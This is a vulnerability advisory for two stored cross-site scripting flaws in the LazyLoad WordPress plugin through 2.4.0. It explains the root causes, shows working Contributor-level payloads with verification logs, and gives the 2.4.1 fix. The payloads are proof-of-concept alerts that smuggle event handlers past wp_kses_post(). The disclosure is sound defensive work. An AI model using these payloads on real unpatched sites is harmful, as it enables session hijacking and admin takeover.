CVE-2026-105884 The quotes the attacker never had to write in LazyLoad
Intrudify's autonomous pentesting engine discovered two stored cross-site scripting vectors in the LazyLoad plugin for WordPress, affecting all versions up to and including 2.4.0. Both start with a Contributor writing attributes that wp_kses_post() permits, and both end with script running for every visitor to the published post. Fixed in 2.4.1.
Summary
LazyLoad defers images, iframes and videos until they are needed. It does that by buffering the whole front-end page and rewriting the markup on the way out, so every published post passes through it and every visitor sees the result.
Two of those rewrites put attacker-controlled text back into the page where it becomes markup again. Neither needs a tag, a script element or an event-handler attribute in what is stored, which is why wp_kses_post() has nothing to remove and a Contributor can store both.
The first is the more unusual. LazyLoad looks for the class attribute with a pattern that is not anchored to an attribute position, so a class= written inside the value of some other attribute matches. The rewrite then wraps what it captured in a pair of quotes of its own. The attacker supplies no quote character at any point, so there is nothing for an escaper to encode.
The second is the YouTube thumbnail script. It reads data-id and data-alt through .dataset, which returns the values HTML-decoded, splices them into a markup string and assigns it with innerHTML. The PHP side escapes with esc_attr(), which is correct for the attribute and undone by the decode. The script never checks that the element it found was produced by the plugin.
Technical detail
Everything goes through the buffer
// src/Subscriber/LazyloadSubscriber.php, LazyLoad 2.4.0
'template_redirect' => [ 'lazyload', 2 ], // line 82
// the whole front-end page is buffered and rewritten on the way out.
// every published post passes through this, every visitor sees the result.Vector A: the rewrite brings its own quotes
// src/Dependencies/RocketLazyload/Image.php, LazyLoad 2.4.0
public function lazyloadBackgroundImages( $html, $buffer ) { // line 69
// any div|figure|section|aside|span|li|a carrying a
// background-image style gets its opening tag rewritten
$lazy_bg = $this->addLazyClass( $element[0] ); // line 131
...
}
private function getClasses( $element ) { // line 192
if ( ! preg_match(
'#class\s*=\s*(?<classes>["\'].*?["\']|[^\s]+)#is',
$element, $class ) ) { // line 193
return false;
}
...
}
// the pattern is not anchored to an attribute position. it matches
// the first `class=` ANYWHERE in the tag text, including inside
// the value of some other attribute.
private function trimOuterQuotes( $string, $quotes ) { // line 215
...
return $quotes . $classes . $quotes; // line 247
}
// and the rewrite puts a PAIR OF QUOTES back around whatever it
// captured. the attacker never writes a quote. the plugin does.Those two lines are each reasonable alone. A loose search finds the class attribute wherever the theme put it, and re-quoting the value makes the output well formed. Together they let text from inside one attribute be lifted out, quoted, and written back as though it were an attribute of its own.
A Contributor needs only to put the characters class= inside an attribute value that WordPress allows, on an element the plugin processes:
// stored by the Contributor. no tag, no script, no event-handler
// attribute: title, style and class are all allowed by wp_kses_post()
<div title="class=x onfocus=alert(document.domain) tabindex=0 autofocus y"
style="background-image:url(https://example.com/a.png)">
// emitted to every visitor, read back from the live DOM:
<div data-bg="https://example.com/a.png"
title="class=" x="" rocket-lazyload"=""
onfocus="alert(document.domain)"
tabindex="0" autofocus="" y"=""
style="">
// title ends after `class=`. onfocus, tabindex and autofocus are
// real attributes now. autofocus takes focus during load.Read the output from the left. title="class=" is a complete attribute, and the value ends there. Everything the Contributor wrote after it is now parsed as further attributes on the div, autofocus among them, so the element takes focus during load and onfocus runs with no interaction at all.
Vector B: decoded, then spliced, then innerHTML
// src/Dependencies/RocketLazyload/Assets.php, line 286, LazyLoad 2.4.0
// printed in the footer of every page when the YouTube thumbnail
// option is on. abbreviated here; the original is one long line.
function lazyLoadThumb( e, alt, l ) {
var t = '<img src=... alt="" ...>';
...
t = t.replace( 'alt=""', 'alt="' + alt + '"' );
return t.replace( "ID", e ) + a;
}
document.addEventListener( "DOMContentLoaded", function() {
a = document.getElementsByClassName( "rll-youtube-player" );
for ( t = 0; t < a.length; t++ )
...
e.innerHTML = lazyLoadThumb( a[t].dataset.id, a[t].dataset.alt, l ),
...
} );
// src/Dependencies/RocketLazyload/Iframe.php, line 187: the PHP side
data-alt="<?php echo esc_attr( $title ); ?>"
// esc_attr() is right for an HTML attribute. .dataset returns the
// value DECODED, so " is a real quote inside the script, before
// it is concatenated back into markup and handed to innerHTML.
// nothing checks that the element came from the plugin. class and
// data-* are allowed on a div, so a Contributor writes one directly.esc_attr() is the right escaper for the place it is used. The value survives into the attribute correctly encoded. .dataset then hands the script the decoded text, the script concatenates that into an HTML string, and innerHTML parses the string. The encoding is undone one layer before the parse.
data-id is a second injection point in the same function. It is substituted into the thumbnail URL with t.replace("ID", e) and breaks out of src in exactly the same way.
Verification
WordPress 7.1.3, PHP 8.3, LazyLoad 2.4.0 from wordpress.org, default theme, on http://127.0.0.1:8491. The plugin's own settings page, with Images and Replace YouTube videos by thumbnail ticked. Nothing else was configured anywhere.
Stored as a Contributor
# stored over HTTP as the real principal, through the editor's own
# REST endpoint. the login and the nonce are the Contributor's.
principal: contrib ['contributor'] unfiltered_html: False
A payload background-image id=7 survived kses: yes, byte for byte
A control ordinary title+class id=8 survived kses: yes, byte for byte
B payload data-alt id=9 survived kses: yes, byte for byte
B control data-alt harmless id=10 survived kses: yes, byte for byte
B payload data-id id=11 survived kses: yes, byte for byte
# wp_kses_post() removes nothing, because there is nothing it
# recognises: no tag, no script, no on* attribute in what was stored.Published, then opened by a visitor with no account
// published after review, then opened by a visitor with 0 cookies
[2.4.0] A payload background-image dialogs=1 message: 127.0.0.1
[2.4.0] A control ordinary title dialogs=0 no injected node
[2.4.0] B payload data-alt dialogs=1 message: 127.0.0.1
injected node: <img src="x" onerror="alert(document.domain)">
[2.4.0] B control data-alt harmless dialogs=0 no injected node
[2.4.0] B payload data-id, onerror dialogs=0 // see below
injected node: <img loading="lazy"
src="https://i.ytimg.com/vi/x"
onerror="alert(document.domain)" z="/hqdefault.jpg"
alt="t" width="480" height="360">
[2.4.0] B payload data-id, onload dialogs=1 message: 127.0.0.1Each control is the same element with an ordinary value: a real class and a plain tooltip for vector A, a plain data-alt for vector B. Both produce the feature working normally and nothing else, which is what makes the payload rows mean something.
The one row that did not fire, and why
The data-id payload with an onerror handler injected the attribute successfully and did not execute. That is worth running down instead of reporting either half of it:
// why the onerror variant did not fire. measured, not assumed.
ytimg requests : [ (404, 'https://i.ytimg.com/vi/x') ]
img state : { complete: true, naturalWidth: 120, naturalHeight: 90,
onerror: 'function' }
// the handler IS on the element. YouTube answers a bogus id with a
// 404 that still carries a renderable 120x90 body, so the image
// LOADS and onerror never runs.
// forcing the same element at a source that genuinely fails:
dialogs after forcing a failing src: 1 message: 127.0.0.1
// so the injection is real and the attribute is live. an attacker
// picks a handler that does not depend on a failed load, which is
// what the onload variant above does.So the injection point is real, the attribute is live on the element, and the choice of handler decides whether it runs. An onload handler on the same injection point fires, which is the last row of the previous block.
2.4.1, with the payloads still in the database
// LazyLoad 2.4.1, same lab, the same payloads still in post_content
[2.4.1] A payload background-image dialogs=0
[2.4.1] B payload data-alt dialogs=0
[2.4.1] B payload data-id, onerror dialogs=0
[2.4.1] B payload data-id, onload dialogs=0
// and the features still do their job, which is the other pole:
[2.4.1] legitimate background-image div
<div data-bg="https://example.com/a.png" title="an ordinary tooltip"
class="my-class rocket-lazyload" ...
[2.4.1] legitimate youtube thumbnail
<img loading="lazy" src="https://i.ytimg.com/vi/dQw4w9WgXcQ/hqdefault.jpg"
width="480" height="360" alt="harmless title">The second half of that block is the part worth insisting on. Four zeros prove nothing on their own, because a disabled feature scores four zeros too. The legitimate background-image div still gains data-bg and the rocket-lazyload class, and the legitimate YouTube element still renders its thumbnail with the right alt text, byte for byte as on 2.4.0.
Impact
Contributor is the lowest WordPress role that can author content, and sites hand it out to guest writers, volunteers and agency staff. The assumption behind that is that wp_kses_post() bounds what such a user can put on a page. Here it does its job and the payload goes around it: nothing stored is tag-shaped.
The post reaches the public through the ordinary review step. A Contributor cannot publish, so an editor or an administrator reads the submission and approves it, and what they see while reviewing is a div with a tooltip or an embedded video.
From then on the script runs for everyone who opens the post, logged out included, in the site's own origin. An administrator who opens the published post on the front end runs it in their session, where the session cookie and the REST nonce on the page are enough to create a second administrator account or install a plugin, which is PHP of the attacker's choosing on the server.
Both vectors need one of the plugin's two front-end features switched on, and those are the features the plugin exists to provide.
LazyLoad reports more than 100,000 installations.
Remediation
Update LazyLoad to 2.4.1 or later.
// LazyLoad 2.4.1, Image.php: an attribute is only an attribute
// when it sits at an attribute position.
private function findRealAttribute( $tag, $name ) {
$pattern = '#(?<=\s)' . preg_quote( $name, '#' )
. '\s*=\s*(?<value>"[^"]*+"|\'[^\']*+\'|[^\s>]++)#is';
...
foreach ( $matches[0] as $index => $match ) {
$this->advanceQuoteState( $tag, $pos, $offset, $open_quote );
$pos = $offset;
if ( null !== $open_quote ) {
continue; // this one is inside another value
}
return [ 'attribute' => $match[0], 'value' => ... ];
}
return false;
}
// Assets.php: the thumbnail script builds NODES now.
// no string splicing, no innerHTML.
function lazyLoadThumb( id, alt, l ) {
if ( ! /^[A-Za-z0-9_-]{11}$/.test( id ) ) { return null; }
var frag = document.createDocumentFragment(), img = lazyLoadImg( id, l );
img.setAttribute( "alt", alt );
frag.appendChild( img );
...
}Both fixes change the approach instead of patching the symptom. Vector A gets findRealAttribute(), which walks the tag tracking which quote is currently open and skips any match that falls inside another attribute's value, so a class= in a title is no longer a class. Vector B stops building markup from strings: the thumbnail is assembled with createElement and setAttribute, and the video id has to match /^[A-Za-z0-9_-]{11}$/ before anything is built.
The release went further than the report asked. The click handler that swaps in the real iframe now parses data-src with new URL(), rejects anything that is not http or https, checks the host against a four-entry allow-list, and requires the path to match an embed URL. None of that was in the report.
A site that was attacked before updating does not need its database cleaned to stop the script. That was measured: the payloads are still in post_content and 2.4.1 renders all four of them inert. The stored posts are still not what their author appears to have written, so they are worth reviewing on their own account.
The wider lesson
The first vector is the one to carry away, because it inverts the usual advice. Sanitisers are written to take dangerous characters out of attacker input. Here the attacker's input contains no dangerous character at all: class=x onfocus=... is a perfectly ordinary tooltip as far as any filter is concerned. The quote that ends the attribute is supplied by the plugin, at render time, from a line whose whole purpose is to produce well-formed output.
So a rewriter has to be asked a second question: what syntax does it add. Any code that re-quotes, re-wraps or re-assembles markup is a source of syntax that no input filter upstream can see, and it introduces that syntax after every filter has finished.
The second lesson is about where a pattern is allowed to match. #class\s*=\s*...# is a correct description of a class attribute and an incorrect description of where one can appear. An HTML tag is not flat text: it has positions, and only some of them hold attributes. The 2.4.1 code says this out loud by tracking the open quote as it walks, which is the cheapest possible model of that structure and enough to tell a real attribute from a quoted string that looks like one.
Both vectors also share a shape with a growing family: a value is escaped correctly for the layer it is written into, then read back out by something that decodes it, and handed to a parser. esc_attr() plus .dataset plus innerHTML cancels out as reliably as esc_html() plus an entity-decoding attribute parser does. Count the decodes between the escaper and the parser, and if there is one, the escaping is already gone.
Disclosure timeline
- 2026-09-24 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-06 Release 2.4.1 published by WP Media
- 2026-10-07 Public disclosure by Patchstack, CVE-2026-105884 published
Questions
What is CVE-2026-105884?
CVE-2026-105884 covers two stored cross-site scripting vectors in the LazyLoad plugin for WordPress, affecting all versions up to and including 2.4.0. The background-image rewrite finds a class attribute with an unanchored pattern and re-quotes what it captures, so a class= written inside another attribute's value becomes a real attribute boundary. The YouTube thumbnail script reads data attributes through .dataset, which decodes them, and splices them into innerHTML.
Who can exploit CVE-2026-105884?
Any user who can write a post, which means Contributor and above. Everything the payload needs is an attribute wp_kses_post() allows on a div: title, style, class and data-*. Nothing stored is tag-shaped, so the filter applied to content from users without unfiltered_html removes nothing.
The attacker writes no quote character. How does the attribute break?
The plugin supplies it. addLazyClass() captures whatever its class pattern matched, which here is text sitting inside a title value, and the rewrite wraps that capture in a pair of quotes of its own before writing it back. The quote that ends the title attribute in the served page was added by the plugin at render time, after every input filter had already run.
Does this need any particular setting?
Each vector needs one of the plugin's two front-end features enabled: Images for the background-image rewrite, and Replace YouTube videos by thumbnail for the thumbnail script. Those are the features the plugin is installed to provide.
How do I fix CVE-2026-105884?
Update LazyLoad to 2.4.1 or later. That release adds findRealAttribute(), which tracks quote state while walking the tag so an attribute name inside another attribute's value is ignored, and rewrites the thumbnail script to build DOM nodes with createElement and setAttribute instead of assigning innerHTML, with the video id validated against a strict pattern first.